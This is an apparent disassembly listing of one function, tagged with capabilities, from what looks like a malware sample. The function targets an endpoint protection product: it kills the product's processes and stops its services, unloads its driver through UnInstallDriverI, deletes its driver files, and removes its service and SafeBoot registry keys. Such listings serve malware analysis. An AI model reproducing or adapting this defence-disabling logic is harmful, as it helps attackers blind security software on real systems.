Function at 0x401650
Capabilities:
Get common file path
Manipulate safe mode programs
Query environment variable

Disassembly:
sub esp, 0xc48
push esi
push edi
call fcn.00401f10
call fcn.004015e0
lea eax, [esp + 0x34]
push 7
push eax
mov dword [esp + 0x3c], str.SecAuthClient.exe
mov dword [esp + 0x40], str.EDPUpdate.exe
mov dword [esp + 0x44], str.UExplorer.exe
mov dword [esp + 0x48], str.EDPHelper.exe
mov dword [esp + 0x4c], str.EDPEraser.exe
mov dword [esp + 0x50], str.LSRemoteDesktop.exe
mov dword [esp + 0x54], str.EDPSvc.exe
call fcn.00401e50
add esp, 8
mov dword [esp + 8], str.EDPSvc
mov dword [esp + 0xc], 0x4570d4
mov dword [esp + 0x10], str.cpupress
mov dword [esp + 0x14], str.EDPEU
mov dword [esp + 0x18], str.EDPVU
mov dword [esp + 0x1c], str.EDPFSMon
mov dword [esp + 0x20], str.EDPRegMon
mov dword [esp + 0x24], str.EDPProcMgr
mov dword [esp + 0x28], str.ProcObsrv
mov dword [esp + 0x2c], 0x4573a0
lea esi, [esp + 8]
mov edi, 0xa
mov ecx, dword [esi]
push 0
push ecx
call fcn.00401dc0
add esp, 8
add esi, 4
dec edi
jne 0x401702
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x51]
mov byte [esp + 0x50], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x451]
mov byte [esp + 0x450], 0
rep stosd dword es:[edi], eax
mov esi, dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
push ebx
push ebp
push 0
stosw word es:[edi], ax
push 0
push str.ProgramFiles
stosb byte es:[edi], al
call esi
lea edx, [esp + 0x58]
push eax
push edx
push str.ProgramFiles
call esi
lea edi, [esp + 0x58]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x458]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x458]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.EDPNDISUtil.dll
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x458]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x4017e7
push str.UnInstallDriverI
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea edi, [esp + 0x58]
or ecx, 0xffffffff
xor eax, eax
mov dword [esp + 0x10], str.EDP
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x14], str.EDPUpdate
mov dword [esp + 0x18], str.EDPFilesBackup
lea ebp, [esp + 0x10]
lea ecx, [esp + ecx + 0x58]
mov ebx, 3
mov dword [esp + 0x38], ecx
mov edi, dword [ebp]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x58]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 1
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x5c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.00401020
mov ecx, dword [esp + 0x40]
add esp, 8
add ebp, 4
dec ebx
mov byte [ecx], 0
jne 0x40181e
mov dword [esp + 0x10], str.driversEDPFSMon.sys
mov dword [esp + 0x14], str.driversEDPVU.sys
mov dword [esp + 0x18], str.driversEDPEU.sys
mov dword [esp + 0x1c], str.driversEDPRegMon.SYS
mov dword [esp + 0x20], str.driverscpupress.sys
mov dword [esp + 0x24], str.driversPCASIM.sys
lea ebp, [esp + 0x10]
mov ebx, 6
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x859]
mov byte [esp + 0x858], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea edx, [esp + 0x858]
push 0x400
push edx
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, dword [ebp]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x858]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 1
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x85c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.00401080
add esp, 8
add ebp, 4
dec ebx
jne 0x40189f
pop ebp
mov dword [esp + 0xc], str.SYSTEMCurrentControlSetServicesEDPProcMgr
mov dword [esp + 0x10], str.SYSTEMCurrentControlSetServicesEDP
mov dword [esp + 0x14], str.SYSTEMCurrentControlSetServicesEDPUpdate
mov dword [esp + 0x18], str.SYSTEMCurrentControlSetServicesEDPEU
mov dword [esp + 0x1c], str.SYSTEMCurrentControlSetServicesEDPFSMon
mov dword [esp + 0x20], str.SYSTEMCurrentControlSetServicesEDPVU
mov dword [esp + 0x24], str.SYSTEMCurrentControlSetServicesEDPRegMon
mov dword [esp + 0x28], str.SYSTEMCurrentControlSetServicesProcObsrv
mov dword [esp + 0x2c], str.SYSTEMCurrentControlSetControlSafeBootMinimalcpupress.sys
mov dword [esp + 0x30], str.SYSTEMCurrentControlSetControlSafeBootNetworkcpupress.sys
lea esi, [esp + 0xc]
mov edi, 0xa
pop ebx
mov ecx, dword [esi]
push ecx
push 0x80000002
call fcn.00401f80
add esp, 8
add esi, 4
dec edi
jne 0x40196f
pop edi
mov eax, 1
pop esi
add esp, 0xc48
ret